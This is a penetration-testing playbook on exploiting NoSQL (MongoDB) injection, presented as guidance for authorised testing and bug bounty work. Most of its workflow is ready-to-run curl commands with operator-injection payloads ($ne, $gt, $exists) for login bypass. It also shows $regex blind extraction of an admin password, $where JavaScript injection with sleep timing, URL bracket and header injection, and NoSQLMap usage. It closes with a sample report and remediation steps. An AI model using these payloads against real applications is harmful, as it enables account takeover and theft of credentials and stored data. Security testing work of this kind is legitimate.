Exploiting Nosql Injection Vulnerabilities

Exploiting NoSQL Injection Vulnerabilities

When to Use

• During web application penetration testing of applications using NoSQL databases
• When testing authentication mechanisms backed by MongoDB or similar databases
• When assessing APIs that accept JSON input for database queries
• During bug bounty hunting on applications with NoSQL backends
• When performing security code review of database query construction

How to CONFIRM a Hit (avoid false negatives)

• The positive signal is a behavioural differential caused by an operator, not a generic error: an operator-injection payload ({"$ne":null} / {"$gt":""}) returns a logged-in session / different record set than a benign value, OR a $where+sleep payload adds a measurable delay, OR a $regex boolean probe flips the response between two known states.
• Confirm auth bypass by diffing three requests: valid creds, invalid creds, and the operator payload. The injection is real only if the operator response matches/exceeds the "valid" response while plain-invalid stays rejected.
• For blind extraction, prove the channel works: anchor a $regex that MUST match (^) and one that MUST NOT, and confirm the two responses differ before extracting characters.
• Do NOT conclude negative until you have tried ALL of these encodings/forms:
  • JSON body operator form: {"user":{"$ne":null}}.
  • URL/bracket form: user[$ne]=x, user[$regex]=^a, user[$exists]=true, user[$in][]=admin.
  • String-wrapped operators where the app does JSON.parse on a field: user=%7B%22%24ne%22%3Anull%7D.
  • $where/$function server-side JS with sleep() for time-based blind.
  • GET vs POST, and Content-Type: application/json vs application/x-www-form-urlencoded (frameworks parse brackets differently).
  • Type juggling: send an array/object where a string is expected (password[]=x).
• A 200 with the same body as a normal failed login is NOT a hit — require an authenticated/differential response. Test both username and password independently.

Prerequisites

• Burp Suite Professional or Community Edition with JSON support
• NoSQLMap tool installed (pip install nosqlmap or from GitHub)
• Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
• Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
• Proxy configured for HTTP traffic interception
• Python 3.x for custom payload scripting

Workflow

Step 1 — Identify NoSQL Injection Points

# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'

Step 2 — Perform Authentication Bypass

# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'

Step 3 — Extract Data Using Boolean-Based Blind Injection

# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'

Step 4 — Exploit JavaScript Injection via $where

# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'

Step 5 — Use NoSQLMap for Automated Testing

# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'

Step 6 — Test URL Parameter Injection

# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# Inject via HTTP headers if processed by backend
curl http://target.com/api/profile \
  -H "X-User-Id: {'\$ne': null}"

Key Concepts

Tools & Systems

Common Scenarios

1. Login Bypass — Bypass MongoDB-backed authentication using {"$ne": ""} operator injection in username and password fields
2. Data Enumeration — Extract database contents character by character using $regex blind injection when no direct output is visible
3. Privilege Escalation — Modify user role fields through NoSQL injection in profile update endpoints
4. API Key Extraction — Extract API keys or tokens stored in MongoDB collections through boolean-based blind techniques
5. Account Takeover — Enumerate valid usernames via regex injection then brute-force passwords through operator-based authentication bypass

Output Format

## NoSQL Injection Assessment Report
- **Target**: http://target.com/api/login
- **Database**: MongoDB 6.0
- **Vulnerability Type**: Operator Injection (Authentication Bypass)
- **Severity**: Critical (CVSS 9.8)

### Vulnerable Parameters
| Endpoint | Parameter | Injection Type | Impact |
|----------|-----------|---------------|--------|
| POST /api/login | username | Operator ($ne) | Auth Bypass |
| POST /api/login | password | Regex ($regex) | Data Extraction |
| GET /api/users | id | $where JS Injection | RCE Potential |

### Proof of Concept
- Authentication bypass achieved with: {"username":{"$ne":""},"password":{"$ne":""}}
- Extracted 3 admin passwords via blind regex injection
- JavaScript execution confirmed via $where operator

### Remediation
- Use parameterized queries with MongoDB driver sanitization
- Implement input type validation (reject objects where strings expected)
- Disable server-side JavaScript execution ($where) in MongoDB config
- Apply least-privilege database access controls